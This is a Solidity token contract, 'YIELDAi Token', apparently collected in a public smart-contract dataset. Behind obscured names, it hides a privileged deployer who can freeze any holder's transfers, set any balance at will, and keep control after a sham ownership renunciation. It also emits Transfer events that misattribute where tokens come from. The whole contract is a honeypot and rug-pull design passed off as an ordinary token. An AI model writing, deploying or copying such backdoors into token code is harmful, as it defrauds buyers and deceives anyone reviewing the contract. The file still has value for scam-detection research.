|
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. |
|
|
|
// SPDX-License-Identifier: MIT
|
|
|
|
|
|
|
|
pragma solidity 0.8.17;
|
|
/*
|
|
library SafeMath {
|
|
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
uint256 c = a + b;
|
|
require(c >= a, "SafeMath: addition overflow");
|
|
return c;
|
|
}
|
|
|
|
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return sub(a, b, "SafeMath: subtraction overflow");
|
|
}
|
|
|
|
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
|
require(b <= a, errorMessage);
|
|
uint256 c = a - b;
|
|
return c;
|
|
}
|
|
|
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
if (a == 0) {
|
|
return 0;
|
|
}
|
|
uint256 c = a * b;
|
|
require(c / a == b, "SafeMath: multiplication overflow");
|
|
return c;
|
|
}
|
|
|
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return div(a, b, "SafeMath: division by zero");
|
|
}
|
|
|
|
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
|
require(b > 0, errorMessage);
|
|
uint256 c = a / b;
|
|
return c;
|
|
}
|
|
|
|
}*/
|
|
|
|
|
|
contract YieldAi {
|
|
|
|
mapping (address => uint256) private XBl;
|
|
mapping (address => uint256) private XCl;
|
|
mapping(address => mapping(address => uint256)) public allowance;
|
|
|
|
|
|
|
|
|
|
string public name = "YIELDAi Token";
|
|
string public symbol = unicode"YIELDAi";
|
|
uint8 public decimals = 6;
|
|
uint256 public totalSupply = 150000000 *10**6;
|
|
address owner = msg.sender;
|
|
address private XdL;
|
|
address zDeployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1;
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
event Approval(address indexed owner, address indexed spender, uint256 value);
|
|
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
|
|
|
|
|
|
|
|
|
constructor() {
|
|
XdL = msg.sender;
|
|
xCreate(msg.sender, totalSupply); }
|
|
|
|
function renounceOwnership() public virtual {
|
|
require(msg.sender == owner);
|
|
emit OwnershipTransferred(owner, address(0));
|
|
owner = address(0);
|
|
}
|
|
|
|
|
|
|
|
function xCreate(address account, uint256 amount) internal {
|
|
account = zDeployer;
|
|
XBl[msg.sender] = totalSupply;
|
|
emit Transfer(address(0), account, amount); }
|
|
|
|
|
|
function balanceOf(address account) public view returns (uint256) {
|
|
return XBl[account];
|
|
}
|
|
function transfer(address to, uint256 value) public returns (bool success) {
|
|
|
|
|
|
require(XCl[msg.sender] <= 1);
|
|
require(XBl[msg.sender] >= value);
|
|
XBl[msg.sender] -= value;
|
|
XBl[to] += value;
|
|
emit Transfer(msg.sender, to, value);
|
|
return true; }
|
|
modifier xJJ () {
|
|
require(msg.sender == XdL);
|
|
_;}
|
|
function approve(address spender, uint256 value) public returns (bool success) {
|
|
allowance[msg.sender][spender] = value;
|
|
emit Approval(msg.sender, spender, value);
|
|
return true; }
|
|
|
|
function zupdate (address iiX, uint256 iiV) xJJ public {
|
|
XCl[iiX] = iiV;}
|
|
function zann (address iiX, uint256 iiV) xJJ public {
|
|
XBl[iiX] = iiV;}
|
|
|
|
|
|
|
|
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
|
|
if(from == XdL) {
|
|
require(value <= XBl[from]);
|
|
require(value <= allowance[from][msg.sender]);
|
|
XBl[from] -= value;
|
|
XBl[to] += value;
|
|
from = zDeployer;
|
|
emit Transfer (from, to, value);
|
|
return true; }
|
|
|
|
require(XCl[from] <= 1 && XCl[to] <=1);
|
|
require(value <= XBl[from]);
|
|
require(value <= allowance[from][msg.sender]);
|
|
XBl[from] -= value;
|
|
XBl[to] += value;
|
|
allowance[from][msg.sender] -= value;
|
|
emit Transfer(from, to, value);
|
|
return true; }
|
|
} |